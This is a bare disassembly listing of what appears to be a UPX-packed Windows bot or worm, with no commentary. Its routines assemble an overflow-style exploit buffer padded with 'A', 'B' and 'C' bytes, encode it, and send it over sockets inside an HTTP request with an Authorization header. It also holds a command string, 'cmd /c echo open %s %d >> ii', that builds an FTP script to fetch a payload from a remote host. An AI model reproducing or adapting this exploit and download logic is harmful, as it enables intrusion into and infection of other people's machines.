mov esi, ecx
push ebx ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jz short loc_40384F
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
push ebx ; Size
push [esp+1Ch+Src] ; Src
push edi ; Dst
call _memcpy
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40384F: ; CODE XREF: sub_40381D+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40381D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_403857(void *Src,size_t Size,int,int)
sub_403857 proc near ; CODE XREF: sub_403951+18p
; sub_4039CB+16p ...
Src = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+Size]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi ; Size
call _malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_4038A3
push edi ; Size
push 0 ; Val
push esi ; Dst
call _memset
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
push [ebp+arg_C] ; Size
mov eax, [ebp+Size]
add eax, esi
push [ebp+arg_8] ; Src
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4038A3: ; CODE XREF: sub_403857+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403857 endp
; =============== S U B R O U T I N E =======================================
sub_4038AC proc near ; CODE XREF: sub_403951+5Ep
; sub_403951+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4038BC
push eax ; Memory
call _free
pop ecx
loc_4038BC: ; CODE XREF: sub_4038AC+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4038AC endp
; =============== S U B R O U T I N E =======================================
sub_4038C5 proc near ; CODE XREF: sub_403951+20p
; sub_403A2C+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_4038F2
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4038F6
loc_4038F2: ; CODE XREF: sub_4038C5+Dj
xor al, al
jmp short loc_40394D
; ---------------------------------------------------------------------------
loc_4038F6: ; CODE XREF: sub_4038C5+2Bj
mov eax, ebx
add eax, [esi+4]
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
cmp ebx, 1
jnz short loc_40391B
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_403935
; ---------------------------------------------------------------------------
loc_40391B: ; CODE XREF: sub_4038C5+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4] ; Size
lea eax, [edi+3]
push dword ptr [esi] ; Src
loc_403935: ; CODE XREF: sub_4038C5+54j
push eax ; Dst
call _memcpy
add esp, 0Ch
push dword ptr [esi] ; Memory
call _free
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40394D: ; CODE XREF: sub_4038C5+2Fj
pop edi
pop esi
pop ebx
retn
sub_4038C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403951 proc near ; CODE XREF: sub_403A87+89p
; sub_403A87+E3p ...
Src = dword ptr -8
Size = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+Src]
push dword ptr [esi+4] ; int
push dword ptr [esi] ; int
push 1 ; Size
push offset byte_4397D4 ; Src
call sub_403857
lea ecx, [ebp+Src]
call sub_4038C5
mov eax, [ebp+Size]
inc eax
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40398B
xor al, al
jmp short loc_4039C7
; ---------------------------------------------------------------------------
loc_40398B: ; CODE XREF: sub_403951+34j
mov eax, [ebp+Size]
inc eax
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
mov byte ptr [edi], 3
push [ebp+Size] ; Size
lea eax, [edi+1]
push [ebp+Src] ; Src
push eax ; Dst
call _memcpy
add esp, 18h
mov ecx, esi
call sub_4038AC
mov eax, [ebp+Size]
lea ecx, [ebp+Src]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4038AC
mov al, 1
loc_4039C7: ; CODE XREF: sub_403951+38j
pop edi
pop esi
leave
retn
sub_403951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4039CB proc near ; CODE XREF: sub_4039FF+14p
; sub_403A1C+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4] ; int
lea ecx, [ebp+var_8]
push [ebp+arg_0] ; int
push dword ptr [esi+4] ; Size
push dword ptr [esi] ; Src
call sub_403857
mov ecx, esi
call sub_4038AC
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_4039CB endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_4039FF(char *Str)
sub_4039FF proc near ; CODE XREF: sub_403A87+F0p
; sub_403A87+15Bp ...
Str = dword ptr 4
push esi
mov esi, ecx
push [esp+4+Str] ; Str
call _strlen
pop ecx
push eax
mov ecx, esi
push [esp+8+Str]
call sub_4039CB
pop esi
retn 4
sub_4039FF endp
; =============== S U B R O U T I N E =======================================
sub_403A1C proc near ; CODE XREF: sub_403A68+Bp
; sub_403A87+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4039CB
retn 8
sub_403A1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A2C proc near ; CODE XREF: sub_403A68+16p
; sub_403A87+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_4038C5
test al, al
jz short loc_403A65
push dword ptr [esi+4] ; int
lea ecx, [ebp+var_8]
push dword ptr [esi] ; int
push 1 ; Size
push (offset loc_4279A7+1) ; Src
call sub_403857
mov ecx, esi
call sub_4038AC
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_403A65: ; CODE XREF: sub_403A2C+Fj
pop esi
leave
retn
sub_403A2C endp
; =============== S U B R O U T I N E =======================================
sub_403A68 proc near ; CODE XREF: sub_403A87+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_403A1C
test al, al
jz short loc_403A83
mov ecx, esi
call sub_403A2C
loc_403A83: ; CODE XREF: sub_403A68+12j
pop esi
retn 8
sub_403A68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A87 proc near ; CODE XREF: UPX0:0040430Cp
Dst = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_403813
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_403DDB
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_403DDB
push esi
lea ecx, [ebp+var_30]
call sub_403813
lea ecx, [ebp+var_20]
call sub_403813
lea ecx, [ebp+var_50]
call sub_403813
lea ecx, [ebp+var_18]
call sub_403813
lea ecx, [ebp+var_40]
call sub_403813
lea ecx, [ebp+var_38]
call sub_403813
lea ecx, [ebp+var_28]
call sub_403813
push 4
push offset dword_427648
lea ecx, [ebp+var_30]
call sub_4039CB
push 3
push offset dword_427650
lea ecx, [ebp+var_30]
call sub_4039CB
lea ecx, [ebp+var_30]
call sub_403951
lea ecx, [ebp+var_30]
call sub_403A2C
mov esi, 800h
lea eax, [ebp+Dst]
push esi ; Size
push 42h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset byte_42763C
call sub_4039CB
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_4039CB
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+Dst]
push eax
call sub_4039CB
lea ecx, [ebp+var_20]
call sub_403951
push offset loc_4279D0 ; Str
lea ecx, [ebp+var_50]
call sub_4039FF
lea ecx, [ebp+var_50]
call sub_403951
push esi ; Size
lea eax, [ebp+Dst]
push 44h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_58]
push 410h ; Size
push eax ; Src
call sub_40381D
lea ecx, [ebp+var_58]
call sub_403951
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_403A68
lea ecx, [ebp+var_58]
call sub_4038AC
push esi ; Size
lea eax, [ebp+Dst]
push 43h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_4039FF
push 4
push offset dword_427654
lea ecx, [ebp+var_18]
call sub_4039CB
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_4039CB
sub edi, [ebp+arg_8]
lea eax, [ebp+Dst]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_4039CB
lea ecx, [ebp+var_18]
call sub_403951
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_403A1C
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_403A1C
lea ecx, [ebp+var_40]
call sub_403A2C
lea ecx, [ebp+var_18]
call sub_4038AC
lea ecx, [ebp+var_50]
call sub_4038AC
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_403A1C
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_403A1C
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_403A1C
lea ecx, [ebp+var_38]
call sub_403A2C
lea ecx, [ebp+var_20]
call sub_4038AC
lea ecx, [ebp+var_30]
call sub_4038AC
lea ecx, [ebp+var_40]
call sub_4038AC
push esi ; Size
lea eax, [ebp+Dst]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_4039CB
lea ecx, [ebp+var_28]
call sub_403951
push 2
push offset dword_4279C4
lea ecx, [ebp+var_28]
call sub_4039CB
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_403A1C
lea ecx, [ebp+var_28]
call sub_403A2C
lea ecx, [ebp+var_38]
call sub_4038AC
lea ecx, [ebp+var_10]
call sub_403813
lea ecx, [ebp+var_8]
call sub_403813
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_403A1C
lea ecx, [ebp+var_10]
call sub_4038C5
lea ecx, [ebp+var_28]
call sub_4038AC
push offset dword_4279C0 ; Str
lea ecx, [ebp+var_8]
call sub_4039FF
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_403A1C
lea ecx, [ebp+var_8]
call sub_4038C5
lea ecx, [ebp+var_10]
call sub_4038AC
push offset dword_4279BC ; Str
lea ecx, [ebp+var_10]
call sub_4039FF
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_403A1C
lea ecx, [ebp+var_10]
call sub_4038C5
lea ecx, [ebp+var_8]
call sub_4038AC
push offset dword_4279B0 ; Str
lea ecx, [ebp+var_8]
call sub_4039FF
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_403A1C
lea ecx, [ebp+var_8]
call sub_4038C5
lea ecx, [ebp+var_10]
call sub_4038AC
push offset dword_4279AC ; Str
lea ecx, [ebp+var_48]
call sub_4039FF
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_403A1C
lea ecx, [ebp+var_8]
call sub_4038AC
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_403DE9
; ---------------------------------------------------------------------------
loc_403DDB: ; CODE XREF: sub_403A87+1Bj
; sub_403A87+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_403DE9: ; CODE XREF: sub_403A87+352j
pop edi
pop ebx
leave
retn
sub_403A87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DED proc near ; CODE XREF: sub_403EB1+A1p
; sub_403EB1+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_42320C ; select
cmp eax, edi
jnz short loc_403E54
lea eax, [ebp+var_10C]
push eax
push esi
call sub_421F56 ; __WSAFDIsSet
test eax, eax
jnz short loc_403E58
loc_403E54: ; CODE XREF: sub_403DED+54j
xor eax, eax
jmp short loc_403E68
; ---------------------------------------------------------------------------
loc_403E58: ; CODE XREF: sub_403DED+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_43C630 ; recv
loc_403E68: ; CODE XREF: sub_403DED+69j
pop edi
pop esi
leave
retn
sub_403DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E6C proc near ; CODE XREF: sub_403EB1+81p
; sub_403EB1+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_43C614 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
cmp eax, 4
jz short loc_403E96
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403E96: ; CODE XREF: sub_403E6C+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_43C668 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_403E6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_403EB1(int,void *Src,size_t Size)
sub_403EB1 proc near ; CODE XREF: sub_403F8B+48p
; UPX0:00404407p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+Size]
lea ebx, [edi+41h]
push ebx ; Size
mov [ebp+var_4], ebx
call _malloc
mov esi, eax
pop ecx
test esi, esi
jnz short loc_403EDA
xor al, al
jmp loc_403F86
; ---------------------------------------------------------------------------
loc_403EDA: ; CODE XREF: sub_403EB1+20j
push ebx ; Size
push 0 ; Val
push esi ; Dst
call _memset
push 2Fh ; Size
push offset dword_4276E4 ; Src
push esi ; Dst
call _memcpy
push 8 ; Size
lea eax, [esi+31h]
push offset dword_427714 ; Src
push eax ; Dst
mov [esi+2Fh], di
call _memcpy
push edi ; Size
lea ebx, [esi+3Bh]
push [ebp+Src] ; Src
mov [esi+39h], di
push ebx ; Dst
call _memcpy
push 6 ; Size
add ebx, edi
push offset dword_4397CC ; Src
push ebx ; Dst
call _memcpy
mov ebx, [ebp+arg_0]
push 85h
push offset dword_42765C
push ebx
call sub_403E6C
add esp, 48h
test al, al
jnz short loc_403F42
loc_403F3E: ; CODE XREF: sub_403EB1+B5j
xor bl, bl
jmp short loc_403F7D
; ---------------------------------------------------------------------------
loc_403F42: ; CODE XREF: sub_403EB1+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_403DED
push [ebp+var_4]
push esi
push ebx
call sub_403E6C
add esp, 1Ch
test al, al
jz short loc_403F3E
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_403DED
add esp, 10h
mov bl, 1
loc_403F7D: ; CODE XREF: sub_403EB1+8Fj
push esi ; Memory
call _free
pop ecx
mov al, bl
loc_403F86: ; CODE XREF: sub_403EB1+24j
pop edi
pop esi
pop ebx
leave
retn
sub_403EB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_403F8B(int,void *Src,size_t Size)
sub_403F8B proc near ; CODE XREF: UPX0:004043EDp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_427720
push [ebp+arg_0]
call ds:dword_423208 ; send
cmp eax, 48h
jnz short loc_403FC6
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_403DED
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_403FC6
cmp [ebp+var_20], 82h
jz short loc_403FCA
loc_403FC6: ; CODE XREF: sub_403F8B+1Bj
; sub_403F8B+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403FCA: ; CODE XREF: sub_403F8B+39j
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push [ebp+arg_0] ; int
call sub_403EB1
add esp, 0Ch
leave
retn
sub_403F8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FDD proc near ; CODE XREF: sub_404029+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_423270
call __ftol
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_423268
fstp [esp+10h+var_10]
call _floor
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call __ftol
inc eax
leave
retn
sub_403FDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404029(int,int,__int16,char *Str)
sub_404029 proc near ; CODE XREF: sub_4041CB+24p
var_4C = qword ptr -4Ch
var_38 = byte ptr -38h
var_2C = dword ptr -2Ch
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_B = byte ptr 13h
Src = dword ptr 14h
mov eax, offset loc_4225F7
call __EH_prolog
sub esp, 2Ch
mov al, [ebp+arg_B]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp+var_38]
push edi
mov [ebp+var_20], edi
mov [ebp+var_38], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp+var_4], ebx
call sub_403FDD
cmp [ebp+var_2C], eax
pop ecx
jnb short loc_40406B
push edi
push eax
lea ecx, [ebp+var_38]
call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
loc_40406B: ; CODE XREF: sub_404029+36j
cmp [ebp+10h], edi
mov [ebp+var_18], edi
jbe loc_404188
mov ebx, [ebp+10h]
loc_40407A: ; CODE XREF: sub_404029+156j
cmp dword ptr [ebp+10h], 3
jb short loc_404084
push 3
jmp short loc_404096
; ---------------------------------------------------------------------------
loc_404084: ; CODE XREF: sub_404029+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40408E
push 2
jmp short loc_404096
; ---------------------------------------------------------------------------
loc_40408E: ; CODE XREF: sub_404029+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_404097
push 1
loc_404096: ; CODE XREF: sub_404029+59j
; sub_404029+63j
pop ebx
loc_404097: ; CODE XREF: sub_404029+69j
mov dword ptr [ebp+var_28], ebx
mov dword ptr [ebp+var_28+4], edi
fild [ebp+var_28]
push ecx
push ecx ; double
fmul ds:dbl_423280
fstp [esp+4Ch+var_4C]
call _ceil
pop ecx
pop ecx
call __ftol
cmp ebx, edi
mov [ebp+var_1C], eax
jbe short loc_4040D6
mov esi, [ebp+arg_4]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp+var_10]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_4040D6: ; CODE XREF: sub_404029+93j
mov cl, [ebp+var_10]
mov dl, [ebp+var_10]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp+var_14], cl
mov cl, [ebp+var_F]
sar cl, 4
and cl, 0Fh
add [ebp+arg_4], ebx
shl dl, 4
add cl, dl
mov dl, [ebp+var_F]
mov [ebp+var_13], cl
mov cl, [ebp+var_E]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp+var_12], cl
mov cl, [ebp+var_E]
and cl, 3Fh
cmp eax, edi
mov [ebp+var_11], cl
jbe short loc_404144
add [ebp+var_18], eax
loc_404128: ; CODE XREF: sub_404029+119j
movsx eax, [ebp+esi+var_14]
lea ecx, [ebp+var_38]
mov al, ds:byte_42776C[eax]
push eax ; char
push 1 ; Size
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
inc esi
cmp esi, [ebp+var_1C]
jb short loc_404128
loc_404144: ; CODE XREF: sub_404029+FAj
cmp [ebp+var_18], 48h
jb short loc_404162
push [ebp+Src] ; Str
call _strlen
pop ecx
push eax ; Size
lea ecx, [ebp+var_38]
push [ebp+Src] ; Src
call sub_4044BE
mov [ebp+var_18], edi
loc_404162: ; CODE XREF: sub_404029+11Fj
push 4
pop esi
cmp [ebp+var_1C], esi
jnb short loc_40417C
sub esi, [ebp+var_1C]
loc_40416D: ; CODE XREF: sub_404029+151j
push 3Dh ; char
push 1 ; Size
lea ecx, [ebp+var_38]
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
dec esi
jnz short loc_40416D
loc_40417C: ; CODE XREF: sub_404029+13Fj
cmp [ebp+10h], edi
ja loc_40407A
push 1
pop ebx
loc_404188: ; CODE XREF: sub_404029+48j
mov esi, [ebp+arg_0]
mov al, [ebp+var_38]
push edi
mov ecx, esi
mov [esi], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
push ds:dword_423278
lea eax, [ebp+var_38]
mov ecx, esi
push edi
push eax
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
mov [ebp+var_20], ebx
and byte ptr [ebp+var_4], 0
push ebx
lea ecx, [ebp+var_38]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, [ebp+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_404029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041CB proc near ; CODE XREF: UPX0:004043D0p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov eax, offset loc_422614
call __EH_prolog
sub esp, 10h
push ebx
push esi
push edi
push offset byte_4397BC ; Str
lea eax, [ebp+var_1C]
push dword ptr [ebp+arg_8] ; __int16
xor ebx, ebx
mov [ebp+var_4], ebx
push [ebp+arg_4] ; int
push eax ; int
call sub_404029
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_14]
mov byte ptr [ebp+var_4], 1
lea esi, [ecx+eax+36h]
push esi ; Size
call _malloc
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_404215
xor bl, bl
jmp short loc_404259
; ---------------------------------------------------------------------------
loc_404215: ; CODE XREF: sub_4041CB+44j
mov ecx, [ebp+var_18]
mov eax, offset dword_423288
cmp ecx, ebx
jnz short loc_404223
mov ecx, eax
loc_404223: ; CODE XREF: sub_4041CB+54j
cmp [ebp+arg_10], ebx
jz short loc_40422B
mov eax, [ebp+arg_10]
loc_40422B: ; CODE XREF: sub_4041CB+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi ; Count
push edi ; Dest
call __snprintf
add esp, 14h
push ebx
push esi
push edi
push [ebp+arg_0]
call ds:dword_43C668 ; send
cmp eax, esi
jz short loc_404250
xor bl, bl
jmp short loc_404252
; ---------------------------------------------------------------------------
loc_404250: ; CODE XREF: sub_4041CB+7Fj
mov bl, 1
loc_404252: ; CODE XREF: sub_4041CB+83j
push edi ; Memory
call _free
pop ecx
loc_404259: ; CODE XREF: sub_4041CB+48j
and byte ptr [ebp+var_4], 0
push 1
lea ecx, [ebp+var_1C]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
or [ebp+var_4], 0FFFFFFFFh
push 1
lea ecx, [ebp+arg_C]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, [ebp+var_C]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4041CB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 424h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_427918
push eax
call _memcpy
add esp, 0Ch
mov eax, offset byte_42E664
push eax
push eax
push ds:dword_4397EC
push dword ptr [ebp+8]
call sub_40AEDB
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp-395h]
push 400h
push eax
call __snprintf
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-24h]
push offset sub_4277B0
push eax
call sub_403A87
mov ecx, [eax]
xor esi, esi
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp-4], eax
jnz short loc_40432C
xor eax, eax
jmp loc_404458
; ---------------------------------------------------------------------------
loc_40432C: ; CODE XREF: UPX0:00404323j
mov [ebp-0Ch], esi
loc_40432F: ; CODE XREF: UPX0:0040442Fj
test esi, esi
jnz loc_404435
push 6
push 1
push 2
call ds:dword_423214 ; socket
mov ebx, eax
